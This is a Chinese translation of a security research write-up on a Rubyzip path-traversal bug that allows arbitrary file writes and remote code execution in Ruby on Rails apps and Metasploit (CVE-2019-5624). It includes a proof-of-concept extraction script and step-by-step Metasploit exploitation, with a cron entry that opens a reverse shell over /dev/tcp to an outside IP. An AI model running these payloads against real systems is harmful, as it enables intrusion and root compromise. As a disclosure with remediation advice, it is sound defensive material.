Rubyzip库 路径遍历导致Ruby on Rails RCE

2019-05-01 约 2713 字 预计阅读 6 分钟

声明:本文 【Rubyzip库 路径遍历导致Ruby on Rails RCE】 由作者 Hulk 于 2019-05-01 09:00:00 首发 先知社区 曾经 浏览数 106 次

感谢 Hulk 的辛苦付出!

原文:https://blog.doyensec.com/2019/04/24/rubyzip-bug.html


前言

在最近的一次项目中,我们有机会测试Ruby-on-Rails Web程序,该程序使用Rubyzip gem来处理zip文件。Zip文件其实是触发多种漏洞的绝佳入口点,例如路径遍历,符号链接文件覆盖攻击等等。由于目标库关闭了符号链接处理程序,因此我们着重于挖掘路径遍历漏洞。

这篇博文主要讨论我们研究的结果结论,这个“Bug”是从库本身的找到的。我们将会演示这个bug在一个流行软件上的应用——Metasploit

关于Rubyzip的一些漏洞

Rubyzip库曾多次爆出通过恶意文件名而造成的路径遍历漏洞(12)。其中2的代码修复(PR:#376)非常有意思,开发者使用了另一种不同的处理方法。

# Extracts entry to file dest_path (defaults to @name).
# NB: The caller is responsible for making sure dest_path is safe, 
# if it is passed.
def extract(dest_path = nil, &block)
    if dest_path.nil? && !name_safe?
        puts "WARNING: skipped #{@name} as unsafe"
        return self
    end

[...]

其中的Entry#name_safe函数的定义如下:

# Is the name a relative path, free of `..` patterns that could lead to
# path traversal attacks? This does NOT handle symlinks; if the path
# contains symlinks, this check is NOT enough to guarantee safety.
def name_safe?
    cleanpath = Pathname.new(@name).cleanpath
    return false unless cleanpath.relative?
    root = ::File::SEPARATOR
    naive_expanded_path = ::File.join(root, cleanpath.to_s)
    cleanpath.expand_path(root).to_s == naive_expanded_path
end

从上面代码中可以发现,如果目标路径传递给Entry#extract函数,那么路径实际不会检测。往下翻阅,源代码中的一个注释也暗示了用户的责任:

NB: 如果(路径)必须得传递,那么调用者有必要确保目标路径是安全的。

虽然Entry#name_safe函数勉强可以防御住路径遍历攻击(和绝对路径),但该函数只有它被调用时没有携带参数才会起作用。

为了验证这个bug,我们使用老(但很好用)的evilarc生成一个包含Poc的ZIP文件,并且使用下面这段代码提取出恶意文件:

require 'zip'

first_arg, *the_rest = ARGV

Zip::File.open(first_arg) do |zip_file|
  zip_file.each do |entry|
    puts "Extracting #{entry.name}"
    entry.extract(entry.name)
  end
end
$ ls /tmp/file.txt
ls: cannot access '/tmp/file.txt': No such file or directory
$ zipinfo absolutepath.zip 
Archive:  absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x  2.1 unx        0 bx stor 18-Jun-13 20:13 /tmp/
-rw-r--r--  2.1 unx        5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed:  -40.0%
$ ruby Rubyzip-poc.rb absolutepath.zip 
Extracting /tmp/
Extracting /tmp/file.txt
$ ls /tmp/file.txt
/tmp/file.txt

结果很明显,我们最终可以创建/tmp/file.txt,这验证了的确存在Bug。

正如上面这台客户端一样,大部分开发者都会升级到Rubyzip 1.2.2,并且相信它足够安全,却没有实际了解该库是如何工作的以及代码的一些特殊用法。

脆弱性

在我们的Web应用中,用户上传的zip文件经过下面这段(伪)代码解压的:

def unzip(input)
    uuid = get_uuid()
    # 0. create a 'Pathname' object with the new uuid
    parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}")

    Zip::File.open(input[:zip_file].to_io) do |zip_file|
        zip_file.each_with_index do |entry, index|
            # 1. check the file is not present
            next if File.file?(parent_directory + entry.name)
            # 2. extract the entry
            entry.extract(parent_directory + entry.name)
        end
    end
    Success
end

在#0项中,我们可以看到一个名为Pathname的对象被创建,然后在#2项中被套用为解压的目标路径。然而,对象字符串的加法运算并不是像开发者想的那么简单,而这将导致一些未知行为。

OK,我们先在IRB shell中简单理解一下它的行为:

$ irb
irb(main):001:0> require 'pathname'              
=> true
irb(main):002:0> parent_directory = Pathname.new("/tmp/random_uuid/")
=> #<Pathname:/tmp/random_uuid/>
irb(main):003:0> entry_path = Pathname.new(parent_directory + File.dirname("../../path/traversal"))
=> #<Pathname:/path>
irb(main):004:0> destination_folder = Pathname.new(parent_directory + "../../path/traversal")
=> #<Pathname:/path/traversal>
irb(main):005:0> parent_directory + "../../path/traversal"
=> #<Pathname:/path/traversal>

由于Pathname../的处理,传给RubyzipEntry#extract函数的内容中不会包含目录遍历的payload,该函数错误地将其视为安全路径。并且后续Ruby gem也不会验证是否安全,因此攻击者不需要考虑其他可能的错误。

任意文件写入到Ruby on Rails RCE

除了一些通常的*nix和windows的特定方法(例如编写新的cronjob或自定义脚本)外,我们对如何利用这个bug造成RoR (Ruby on Rails)有关应用的RCE非常感兴趣。

目标程序运行在真实的生产环境,而且RoR classes是通过cache_classes直接进行首次缓存。我们无法注入加载任意代码,因为写入文件必须重启ROR应用。

然而,我们在本地环境中进行了验证:结合拒绝服务漏洞和和web应用全路径披露,使得web服务器重启,从而成功利用ZIP文件处理的缺陷实现RCE。

Ruby on Rails官方文档描述如下:

在加载框架以及应用中其他的gem和插件后,Rails将开始加载初始化设定。初始化设定是存储在/config/initializers下的任意ruby文件。用户可以使用初始化设置来保存加载完所有框架和插件之后的配置。

利用这个功能,经过授权的攻击者可以写入恶意.rb文件到/config/initializers文件夹,并且会在web服务器重启后自动加载。

攻击黑客——Metasploit RCE

我们经过客户的验证准许后,结束了这次渗透测试,我们开始搜寻一些可能受到Rubyzip bug影响的流行软件。最后,我们选择了Metasploit Framework

查看程序源码,我们迅速认出几个Rubyzip库用于创建ZIP的源码文件。漏洞源于extract函数,这让我想起了Metasploit允许从老版本的MSF或者其他实例中导入ZIP的功能。我们在zip.rb中找到了相应的代码块,该块代码负责导入ZIP文件:

data.entries.each do |e|
      target = ::File.join(@import_filedata[:zip_tmp], e.name)
      data.extract(e,target)

对于这个Rubyzip的例子,我们创建一个包含路径遍历payload的ZIP文件,然后将其嵌入到某个有效的MSF工作空间(一个包含扫描输出结果的XML文件),从而可能获取文件写入权限。由于解压缩是由root用户完成,因此我们通过以下几个步骤可以轻松获取最高权限远程代码执行:

  • 创建一个包含以下内容的文件:* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"
  • 使用evilarc将路径遍历payload嵌入到ZIP文件中
  • 为ZIP文件添加一个有效的MSF工作区(使MSF提取它,否则ZIP存档不会被处理)
  • 设置两个监听端口:4444和4445(4445用于获取反向shell)
  • 登入MSF应用后台
  • 创建新“项目”
  • 选择“导入”,“选择文件”,选取恶意ZIP文件,点击“导入”按钮
  • 导入完成后,Getshell

攻击演示视频:https://blog.doyensec.com/public/images/msf-zip-bug.mp4

小结

如果你正在使用Rubyzip库,请检查你使用它的场景,并且为Entry#extract函数调用添加对名称和目标路径额外的验证。

下面是不同使用场景的小概述(Rubyzip v1.2.2以前):

如果你正在使用Metasploit,请更新到最新版。我们非常期待CVE-2019-5624会出现在msf模块中。

学习与参考

这个Bug的研究归功于:@voidsec@polict

如果你对这个漏洞主题感兴趣,请查阅以下资源:

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now